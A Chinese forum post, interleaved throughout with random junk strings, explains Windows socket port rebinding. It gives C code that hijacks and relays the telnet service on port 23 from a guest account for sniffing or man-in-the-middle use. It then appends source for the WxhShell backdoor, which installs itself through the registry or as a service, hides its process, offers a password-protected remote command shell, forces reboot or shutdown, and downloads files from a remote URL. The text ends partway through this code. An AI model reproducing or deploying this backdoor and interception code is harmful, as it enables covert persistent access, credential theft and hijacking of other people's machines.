社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16641阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ">QY'r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .nH /=  
kZ.3\  
  saddr.sin_family = AF_INET; C|zH {.H  
GKtQ>39B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V6{xX0'b*m  
<"+C<[n.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,6S 8s  
5l}h8So4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w1_Ux<RF  
a !K;8#xc  
  这意味着什么?意味着可以进行如下的攻击: RGLA}|  
y)E2=JQA/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (B-9M)  
$bosGG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [AzN&yACE  
swFOh5z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mD)O\.uA  
<Y2!c,"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `C?OAR44  
z0[ZO1Fo(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >2 qP  
RWo B7{G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B-|Zo_7  
UYOn p7R<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  vB*oI~<  
8!6*|!,:?n  
  #include hob$eWgr  
  #include n5/Tn7hY  
  #include J"%}t\Q  
  #include    r![JPhei  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n^02@Aw  
  int main() - (}1o9e\7  
  { tlgvBRH>  
  WORD wVersionRequested; "'B%.a#k  
  DWORD ret; Sg>0P*K@  
  WSADATA wsaData; !y~b;>887  
  BOOL val; j]"xck  
  SOCKADDR_IN saddr; !@Lc/'w  
  SOCKADDR_IN scaddr; CHit  
  int err; %:?QE ;  
  SOCKET s; xN8JrZE&  
  SOCKET sc; Jk`)`94 I  
  int caddsize; ok2~B._+;  
  HANDLE mt; 2] G$6H  
  DWORD tid;   m@u`$rOh  
  wVersionRequested = MAKEWORD( 2, 2 ); E_1I|$  
  err = WSAStartup( wVersionRequested, &wsaData ); AuipK*&g  
  if ( err != 0 ) { i?dKmRp(@y  
  printf("error!WSAStartup failed!\n"); S)@vl^3ec  
  return -1; >o#wP  
  } 'a^tL[rLP1  
  saddr.sin_family = AF_INET; >wO$Vu `t  
   ]UT|BE4v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !o':\hex6  
!gfhEz Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _C,@eu"9V  
  saddr.sin_port = htons(23); bXwoJ2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zf>^2t*\  
  { n(YHk\2  
  printf("error!socket failed!\n"); 0DVZRB  
  return -1;  &Z!K]OSY  
  } H&Y{jqua  
  val = TRUE; Y*cJ4hQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >-5Gt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SuH.lCF-g  
  { M6iO8vY  
  printf("error!setsockopt failed!\n"); yL x .#kx6  
  return -1; vSC0D7BlG  
  } OrEuQ-,i@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k5;Vl0Ho  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KI@    
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xf"5<PTW</  
E+ 3yN\X(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Df:7P>  
  { A a} o*  
  ret=GetLastError(); uoY`qF.`  
  printf("error!bind failed!\n"); _pko]F|()  
  return -1; Vy^yV|`v  
  } 3u0<v%Qi  
  listen(s,2); /dJ)TW(Ir  
  while(1) #t2UPLO~  
  { ]ZzG!7  
  caddsize = sizeof(scaddr); q6JW@GT  
  //接受连接请求 tb?F}MEe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z<|_+7T  
  if(sc!=INVALID_SOCKET) Iei7!KLW  
  { wEnuUC4j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =ch Af=  
  if(mt==NULL) ~K-*q{6Q  
  { tG2OVRx8u  
  printf("Thread Creat Failed!\n"); ' q<EZ {  
  break; \btR^;_\A  
  } H]$=*(aje  
  }  +iH30v  
  CloseHandle(mt); Jhsv2,8 {  
  } q X%vRf0  
  closesocket(s); n~)HfY  
  WSACleanup(); rH&r6Xv[  
  return 0; s'aV qB  
  }   q bZ,K@0  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?(/j<,m^  
  { mDF"&.(j  
  SOCKET ss = (SOCKET)lpParam; $rpTs?j*K$  
  SOCKET sc; ]a6O(]  
  unsigned char buf[4096]; Ly)(_Tp@+  
  SOCKADDR_IN saddr; Z#F,y)YiO  
  long num; of'ZNQ/  
  DWORD val; !q$&JZY  
  DWORD ret; -e{)v'C)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oa &z/`@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9U=fJrj'u  
  saddr.sin_family = AF_INET; 5Hwo)S]r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wHOlj)CZ  
  saddr.sin_port = htons(23); o\]: !#r{T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HLSfoQ&)v  
  { juCG?}di;  
  printf("error!socket failed!\n"); XnE %$NJ  
  return -1; 9jMC |oE  
  }  H\=LE  
  val = 100; LGo2^Xx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6i]Nr@1C  
  { Z[k#AgC)  
  ret = GetLastError(); oT|P1t.  
  return -1; j(%gMVu  
  } 'z-;*!A}j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L`jB)wF /J  
  { aI={,\  
  ret = GetLastError(); $K?T=a;z  
  return -1; )pjjW"C+  
  } lHcZi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WXLe,7y  
  { &R'w-0k_  
  printf("error!socket connect failed!\n"); Z(Eke  
  closesocket(sc); \7,MZt  
  closesocket(ss); A-a17}fta  
  return -1; coF T2Pq  
  } % QPWw~}:  
  while(1) BEXQTM3])I  
  { h"u<E\g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'T)Or,d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m%oGzx+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2#AeN6\@  
  num = recv(ss,buf,4096,0); 7`b lGzP_  
  if(num>0) }iua] 4 |  
  send(sc,buf,num,0); 9u ?)vR[@e  
  else if(num==0) }z%OnP  
  break; Ig1lol:;  
  num = recv(sc,buf,4096,0); |jahpji6  
  if(num>0) !Tn0M;  
  send(ss,buf,num,0); qnq%mwDeD  
  else if(num==0) "WYA  
  break; y@o9~?M  
  } QFW0KD`5  
  closesocket(ss); ; .ysCF  
  closesocket(sc); Pgn_9Y?<  
  return 0 ; x?,~TC4  
  } RDs,sj/Y9?  
Y&vHOA  
GA|/7[I}  
========================================================== [3j$ 4rP  
[ 8F \;  
下边附上一个代码,,WXhSHELL F8{ldzh  
M`0(!Q}  
========================================================== 0LWdJ($?  
F+ffl^BQ  
#include "stdafx.h" ";PG%_(  
Ro'jM0(KE  
#include <stdio.h> Md8(`@`o  
#include <string.h> |Du,UY/  
#include <windows.h>  d?:`n 9`  
#include <winsock2.h> r0F_;  
#include <winsvc.h> RVc)") hQj  
#include <urlmon.h>  9t{|_G  
0jR){G9+  
#pragma comment (lib, "Ws2_32.lib") T>#TDMU#Fm  
#pragma comment (lib, "urlmon.lib") w$gS j/  
paW'R+Rck  
#define MAX_USER   100 // 最大客户端连接数 =m`l%V[  
#define BUF_SOCK   200 // sock buffer EfKM*;A  
#define KEY_BUFF   255 // 输入 buffer .Qd}.EG  
1^aykrnQ>  
#define REBOOT     0   // 重启 p{NPcT%&  
#define SHUTDOWN   1   // 关机 ^DBD63 N"  
L~*u4  
#define DEF_PORT   5000 // 监听端口 !xkj30O(G  
EVR! @6@  
#define REG_LEN     16   // 注册表键长度 3PsxOb+  
#define SVC_LEN     80   // NT服务名长度 d,)}+G  
[ZuVUOm  
// 从dll定义API AK6=Ydu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B ,V( LTE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +.w[6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @. "q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gf+o1\5t@  
F?7u~b|@{  
// wxhshell配置信息 Q"A_bdg5  
struct WSCFG { :I2H&,JT  
  int ws_port;         // 监听端口 YMi/uy  
  char ws_passstr[REG_LEN]; // 口令 T3=(`  
  int ws_autoins;       // 安装标记, 1=yes 0=no p` $fTgm  
  char ws_regname[REG_LEN]; // 注册表键名 Jf2e<?`  
  char ws_svcname[REG_LEN]; // 服务名 f[x~)=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V {p*z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $( S*GF$S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .+OB!'dDK^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eaEbH2J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W+KF2(lB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +|6`E3j%  
O{~KR/  
}; Fav?,Q,n  
{Jrf/p9w  
// default Wxhshell configuration d$}&nV/A)  
struct WSCFG wscfg={DEF_PORT, sTiYf  
    "xuhuanlingzhe", veV_be{i  
    1, oWI!u 5  
    "Wxhshell", }@wVW))6$  
    "Wxhshell", #+$ zE#je  
            "WxhShell Service", k=e`*LB\  
    "Wrsky Windows CmdShell Service", &1P(O\ d  
    "Please Input Your Password: ", F"I*-!o  
  1, y>`5Kyj3-@  
  "http://www.wrsky.com/wxhshell.exe", }7%9}2}Iw  
  "Wxhshell.exe" C ck#Y  
    }; Y.7}  
MZ WmlJ   
// 消息定义模块 w^3|(F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?b56AE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p+$+MeBz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Y+e=1a+  
char *msg_ws_ext="\n\rExit."; QCWf.@n  
char *msg_ws_end="\n\rQuit.";  7SaiS_{:  
char *msg_ws_boot="\n\rReboot..."; WVOoHH  
char *msg_ws_poff="\n\rShutdown..."; Yr=8!iR$  
char *msg_ws_down="\n\rSave to "; Y17hOKc`  
7#ofNH J  
char *msg_ws_err="\n\rErr!"; "mR*7o$|  
char *msg_ws_ok="\n\rOK!"; +>!V ]S  
S nW7x  
char ExeFile[MAX_PATH]; J smB^  
int nUser = 0; ;`+`#h3-V  
HANDLE handles[MAX_USER]; H;QA@tF>5  
int OsIsNt; Pubv$u2  
q(gjT^aN  
SERVICE_STATUS       serviceStatus; ;,k=<]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pl|h>4af  
9p4y>3  
// 函数声明 :> SLQ[1  
int Install(void); \9w~pO  
int Uninstall(void); GV5qdD(  
int DownloadFile(char *sURL, SOCKET wsh); 4^[ /=J}  
int Boot(int flag); +p z}4M`  
void HideProc(void); *jE;9^  
int GetOsVer(void); h48YDWwy  
int Wxhshell(SOCKET wsl); h,t:]  
void TalkWithClient(void *cs); P3!Atnv2  
int CmdShell(SOCKET sock); q6R Eh;$  
int StartFromService(void); Cc Y7$D  
int StartWxhshell(LPSTR lpCmdLine); NO2(vE  
6T_K9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Cv.5V hx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P 6.!3%y  
TcJ$[  
// 数据结构和表定义 &qKig kLd  
SERVICE_TABLE_ENTRY DispatchTable[] = P\AqpQv  
{ t+O e)Ns  
{wscfg.ws_svcname, NTServiceMain}, >'b=YlUL  
{NULL, NULL} {jW%P="z$"  
}; V&%C\ns4  
a.q;_5\5`  
// 自我安装 +Ofa#^5);K  
int Install(void) <bP#H  
{ FqZgdmwR  
  char svExeFile[MAX_PATH]; M?$ZJ-  
  HKEY key; epkD*7  
  strcpy(svExeFile,ExeFile); R!6=7  
6]n/+[ ks  
// 如果是win9x系统,修改注册表设为自启动 w"~<h;  
if(!OsIsNt) { \J3/keL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u%B&WwHG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '1-maM\r  
  RegCloseKey(key); =ewyQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :IZ"D40m"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g*J@[y;  
  RegCloseKey(key); ~x#vZ=]8  
  return 0; Bd# TUy  
    } |55dbL$w  
  } JNi=`X&A  
} 64umul  
else { +rc SL8C  
Q|c|2byb  
// 如果是NT以上系统,安装为系统服务 $gvr -~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?:uNN  
if (schSCManager!=0) VD [pZ2;4  
{ v+6e;xl8  
  SC_HANDLE schService = CreateService  z)w-N  
  ( orqJ[!u)`  
  schSCManager, y' [LNp V  
  wscfg.ws_svcname, Z9[+'ZWt  
  wscfg.ws_svcdisp, ||Y<f *  
  SERVICE_ALL_ACCESS, z:}nBCmLV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z_&P?+"Df  
  SERVICE_AUTO_START, '!Wvqs  
  SERVICE_ERROR_NORMAL, pO]8 dE0  
  svExeFile, j_GBH8 `  
  NULL, o\!qcoE2W  
  NULL, fd1C {^c  
  NULL, y}"7e)|t%  
  NULL, /pykW_`/-  
  NULL ?\y%]1  
  ); |<c WllN  
  if (schService!=0) 5jZiJw(  
  { E ]f)Os$  
  CloseServiceHandle(schService); 1m)M;^_  
  CloseServiceHandle(schSCManager); [>Fm [5x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W5 ec  
  strcat(svExeFile,wscfg.ws_svcname); #|f~s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FFvCi@oT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *x(Jq?5O7X  
  RegCloseKey(key); r4Q|5kT*i  
  return 0; zK;XF N#U^  
    } O|'1B>X  
  } }r3~rG<D71  
  CloseServiceHandle(schSCManager); U>Gg0`>  
} 76@qHTh }  
} H=~9CJ+tc  
3CZS)  
return 1; 6gU{(H   
} {/ 2E*|W~I  
?9xu{B>6  
// 自我卸载 y{=>$C[  
int Uninstall(void) (CE7j<j  
{ MKg,!TELe  
  HKEY key; 2*1ft>Uty  
7x k|+!  
if(!OsIsNt) { RUo9eQIPD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -LWK*q[J;*  
  RegDeleteValue(key,wscfg.ws_regname); 4XJiIa?  
  RegCloseKey(key); Gquuy7[&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $NG++N  
  RegDeleteValue(key,wscfg.ws_regname); mYv(R!37'  
  RegCloseKey(key); Z :nbZHByh  
  return 0; q.V-LXM  
  } $/Ov2z  
} L:R<e#kgS  
} .%}+R|g  
else { ]Kh2;>= Xj  
.F2 :!h$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n7! H:{L  
if (schSCManager!=0) [TTSA2  
{ a`c:`v2o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $B .Qc!m  
  if (schService!=0) go'j/4Tp  
  { DBgMC"_   
  if(DeleteService(schService)!=0) { ^jSsa  
  CloseServiceHandle(schService); g0R[xOS|  
  CloseServiceHandle(schSCManager); eV};9VJ$F  
  return 0; .*5Z"Q['G  
  } ~Xv=9@,h  
  CloseServiceHandle(schService); `dW]4>`O  
  } w0J|u'H  
  CloseServiceHandle(schSCManager); #wR;|pN  
} Zv!{{XO2;  
} ,r^"#C0J}  
K=\O5#F?3  
return 1;  jNyoN1M  
} #&8rcu;/  
[V}, tO|  
// 从指定url下载文件 iK;opA"  
int DownloadFile(char *sURL, SOCKET wsh) \RG!@$i  
{ diT=x52  
  HRESULT hr; cgT  
char seps[]= "/"; = |U@  
char *token; B80aw>M  
char *file; e %O0hE  
char myURL[MAX_PATH]; ftbpqp'  
char myFILE[MAX_PATH]; 01@t~v3!Z  
7 hw .B'7  
strcpy(myURL,sURL); ULqoCd%bK  
  token=strtok(myURL,seps); =xN= #  
  while(token!=NULL) -:Rp'SJ  
  { %D=]ZV](  
    file=token;  zGlZ!t:  
  token=strtok(NULL,seps); L}k/9F.5  
  } K_&MoyJJ9f  
pdVQ*=c?M  
GetCurrentDirectory(MAX_PATH,myFILE); 3Ofc\  
strcat(myFILE, "\\"); m`A% p  
strcat(myFILE, file); &#w=7L3AW  
  send(wsh,myFILE,strlen(myFILE),0); :k=mzO<&  
send(wsh,"...",3,0); @{HrJ/4%:&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A%bCMP  
  if(hr==S_OK) +9A\HQ|22  
return 0; 2N [=  
else CI7A# 6-  
return 1; b/("Y.r=  
6W2hr2Zy9  
} $'wq1u  
ku&k'V  
// 系统电源模块 `` K#}3  
int Boot(int flag) j}JZ  
{ q6d~V] 4:  
  HANDLE hToken; ^QX bJJ  
  TOKEN_PRIVILEGES tkp; Dm0a.J v  
n6Z|Q@F  
  if(OsIsNt) { `ldz`yu6++  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Me3dpF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2DDsWJ;  
    tkp.PrivilegeCount = 1; \?fIt?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } p:%[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6" B%)0  
if(flag==REBOOT) { bn9;7`>.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /bRg?Q  
  return 0; E,[xUz"  
} J$ut_N):N  
else { *ZCn8m:-+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _2ef LjXQ  
  return 0; $.E6S<(h  
} -G|a*^  
  } 9J-b6,  
  else { %VNlXHO.  
if(flag==REBOOT) { # TkR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QO;4}rq  
  return 0; KW3+luI6  
} Li{~=S@N*  
else { 2[yBD-":  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N:5[,O<m_  
  return 0; |UUdz_i!:  
} P5 <vf  
} w}cY6O,1  
dl]#  
return 1; Yl cbW0'c  
} ki]ti={12  
k ]a*&me  
// win9x进程隐藏模块 [\z/Lbn ,.  
void HideProc(void) i b6^x:HGU  
{ RVw9Y*]b  
clO,}Ph>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MjL)IgT  
  if ( hKernel != NULL ) kSncZ0K{  
  { j Ch=@<9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); , \)a_@@k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6=GZLpv  
    FreeLibrary(hKernel); YUWn;#  
  } W&Y"K)`  
VyLH"cCv  
return; eDKxn8+(H  
} [#^#+ |{\  
E>jh"|f:{  
// 获取操作系统版本 F =a+z/xKT  
int GetOsVer(void) &dB-r&4;+  
{ %q 3$|>  
  OSVERSIONINFO winfo; !RvRGRSyF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pt,ebL~  
  GetVersionEx(&winfo); CB\{!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z`@^5_  
  return 1; 7E$&2U^Js  
  else `6=-WEo  
  return 0; pL1i|O  
} gxNL_(A  
<=K qc Hb  
// 客户端句柄模块 6 ,ANNj  
int Wxhshell(SOCKET wsl) 6aft$A}XnD  
{ _o3e]{  
  SOCKET wsh; nSx8E7 |V  
  struct sockaddr_in client;  (t^n'V  
  DWORD myID; ~:4kU/]  
n||A" @b\  
  while(nUser<MAX_USER) ?i\;:<e4  
{ \;5\9B"i  
  int nSize=sizeof(client); }ET,ysa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,~PYt*X4  
  if(wsh==INVALID_SOCKET) return 1; ;U =q-tb  
$m$;v<PSe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tb;d.^  
if(handles[nUser]==0) upn~5>uCP  
  closesocket(wsh); \ gwXH  
else J97R0  
  nUser++; &n2e  
  } "Y: /= Gx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z`Wt%tL(  
:fcM:w&  
  return 0; dIwe g=x  
} Pn.bVV:  
TA18 gq  
// 关闭 socket AEirj /  
void CloseIt(SOCKET wsh) "d/s5sP|S  
{ '_s}o<  
closesocket(wsh); {Bvj"mL]j  
nUser--; F?+3%>/A @  
ExitThread(0); iO w3MfO  
} gbBy/_b  
/hWd/H]  
// 客户端请求句柄 !\ND(  
void TalkWithClient(void *cs) ,Dmc2D  
{ ]:]H:U]p  
#U7_a{cn"M  
  SOCKET wsh=(SOCKET)cs; )P&9A)8  
  char pwd[SVC_LEN]; F'P Qqb{  
  char cmd[KEY_BUFF]; U%B(5cC  
char chr[1]; Z [Xa%~5>5  
int i,j; S:Q! "U  
` m@U!X  
  while (nUser < MAX_USER) { ZM#=`k9  
_m E^rT  
if(wscfg.ws_passstr) { 3k$[r$+"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2/P"7A=<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GV|9H]_,I  
  //ZeroMemory(pwd,KEY_BUFF); shC;hR&;  
      i=0; _;9!  
  while(i<SVC_LEN) { Xt/Ksw"wn  
|[xi/Q^7  
  // 设置超时 BG`s6aC|z<  
  fd_set FdRead; gT+Bhr  
  struct timeval TimeOut; =s97Z-  
  FD_ZERO(&FdRead); VL+C&k v]  
  FD_SET(wsh,&FdRead); '!h/B;*(  
  TimeOut.tv_sec=8; 4Cb9%Q0  
  TimeOut.tv_usec=0; u^W2UE\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _,AzJ^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v5ur&egVs  
[] W;t\h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * A|-KKo\  
  pwd=chr[0]; V\~WvV  
  if(chr[0]==0xd || chr[0]==0xa) { oP?YA-#nc  
  pwd=0; OKOu`Hz@  
  break; Z,7R;,qX  
  } H[Q_hY[>V  
  i++; kYwb -;  
    } ws/63 d*  
FN[R(SLbL  
  // 如果是非法用户,关闭 socket ^4Am %yyT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `b5 @}',  
} yBe d kj  
\,UZX&ip  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;;s* Ohh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =1;=  
9W`Frx'h1  
while(1) { K ?$#nt p  
!<@J6??a}s  
  ZeroMemory(cmd,KEY_BUFF); !LM<:kf.|  
.0HZNWRtb  
      // 自动支持客户端 telnet标准   ]uL +&(cr  
  j=0; L #[]I,  
  while(j<KEY_BUFF) { X<OSN&d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #.B"q:CW*P  
  cmd[j]=chr[0]; =nUW'  
  if(chr[0]==0xa || chr[0]==0xd) { 4pU>x$3$  
  cmd[j]=0; #_  C  
  break; &fP XU*l4  
  } ~|Y>:M+0Z  
  j++; &:B<Q$g#  
    } B#%; Qc  
V_n<?9^4  
  // 下载文件 X26   
  if(strstr(cmd,"http://")) { f3*?MXxb16  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K!AAGj`  
  if(DownloadFile(cmd,wsh)) /(C~~XP)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7sNw  
  else 1Y xgR}7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H&}ipaDO  
  } 'BMy8  
  else { %WFu<^jm  
S*)1|~pRvQ  
    switch(cmd[0]) { n}-3o]ku  
  Ok-.}q>\Mv  
  // 帮助 |dE -^"_  
  case '?': { >cmE t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9?T{}| ?  
    break; ^D67y%  
  } BfTcI)  
  // 安装 ~q +[<xR\  
  case 'i': { *v%rMU7,  
    if(Install()) L *[K>iW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wRNroQ  
    else =dP{Gh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ne_m:J[  
    break; 2LY=D L7  
    } !{^\1QK  
  // 卸载 O  OFVnu  
  case 'r': { >n5:1.g  
    if(Uninstall()) xom<P+M!|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1 J&xoV"  
    else a)-FG P^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3+7^uR$/I4  
    break; H%f:K2  
    } uv{P,]lK  
  // 显示 wxhshell 所在路径 {y kYW%3s  
  case 'p': { XV>JD/K2  
    char svExeFile[MAX_PATH]; YOyX[&oi  
    strcpy(svExeFile,"\n\r"); rPzQ8<  
      strcat(svExeFile,ExeFile); sPAg)6&M  
        send(wsh,svExeFile,strlen(svExeFile),0); 0Rxe~n1o  
    break; +m\|e{G  
    } }peBR80tQ  
  // 重启 [Bb utGvj  
  case 'b': { 1MkI0OZE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J<j&;:IRd  
    if(Boot(REBOOT)) dpZ;l 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9$K;Raz%  
    else { ?0*8R K  
    closesocket(wsh); 9|' B9C  
    ExitThread(0); }71LLzG`/  
    } r4_eTrC,  
